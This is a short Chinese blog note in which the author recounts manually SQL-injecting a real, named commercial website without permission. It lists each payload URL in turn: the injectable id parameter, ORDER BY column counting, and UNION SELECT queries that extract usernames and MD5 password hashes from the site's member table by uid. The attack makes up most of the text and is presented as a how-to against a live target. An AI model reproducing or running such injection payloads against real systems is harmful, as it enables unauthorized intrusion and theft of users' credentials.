手记

记一次php手工注入(mysql)

光说不练假把式,关于脚本入侵看的心痒,就实践了一把。


首先google:inurl:"php?id="

发现这个网站可get注入:

http://brand.66wz.com/store.php?id=18


试了下http://brand.66wz.com/store.php?id=18 and user>0

有反应,网页上出现错误提示:


然后输入

http://brand.66wz.com/store.php?id=18 and order by 5

报错:


根据提示,改为:

http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20

页面正常:


再将5改为30,错误。

改为20,正常。

······

最后得到的临界值为24



然后通过火狐的插件得到下面网址:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables



后面的tables我试了很多单词,如admin什么的,都不行。

本来到这里就该结束了。

后来感觉太可惜了,抱着试一试的心态从网页的源代码取了点关键词百度了一下,发现了跟这个网站很多相关的信息:(http://zhangjianbin.iteye.com/blog/1631387)

其中有:

brand_admincp_group 管理组  

brand_admincp_member 管理员  

brand_admincp_perm 管理员权限  

brand_adminsession 管理员与店铺管理员登录次数与信息判断  

brand_members 会员信息


最后连源代码都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm


然后进入:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members



ok!10可以插入字段。


分别插入username以及password就得到了用户名以及md5加密的密码:


那么怎么匹配usernamepasseord呢,用穿山甲扫描的时候发现还有一个uid字段:



所以只要在网址中分别添上"where uid=xxxxx"就行了。

比如说:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157


再后来,md5解密的时候发现。。。

乌云上已经有这个网站的漏洞了:

http://www.wooyun.org/bugs/wooyun-2010-046524


还真是有够年久了。

0人推荐
随时随地看视频
慕课网APP